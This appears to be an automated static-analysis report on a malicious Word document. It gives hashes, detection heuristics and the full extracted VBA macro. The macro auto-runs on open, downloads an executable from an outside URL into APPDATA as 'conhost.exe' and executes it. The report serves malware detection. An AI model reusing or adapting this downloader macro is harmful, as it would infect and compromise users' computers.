Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c48e66e0dd0a971…

MALICIOUS

Office (OLE)

41.5 KB Created: 2014-01-03 08:15:00 Authoring application: Microsoft Office Word First seen: 2015-10-02
MD5: d6e26f8a82512d44a0e13745fc996130 SHA-1: 93bdb14529969e7a3f707bb31199c99b0f1619e5 SHA-256: 8c48e66e0dd0a971cfb62de6cb061171246589ba1ce56ecc4bc86d30576522a9
334 Risk Score

Heuristics 12

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("APPDATA") & "\conhost.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
                    Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Mordedor 0, "http://locasem.com.br/ffffrrrtyyy.exe", Environ("APPDATA") & "\conhost.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://locasem.com.br/ffffrrrtyyy.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1119 bytes
SHA-256: 606e15d20f12e1c3e0bbe48270922d88851ced31393d404628578e4d5746df0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Mordedor _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    OberonSoftware
End Sub

Sub OberonSoftware()
On Error Resume Next

Mordedor 0, "http://locasem.com.br/ffffrrrtyyy.exe", Environ("APPDATA") & "\conhost.exe", 0, 0
Shell Environ("APPDATA") & "\conhost.exe"

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Sub Rubensete()
 Hola Puto
End Sub


Attribute VB_Name = "Módulo1"

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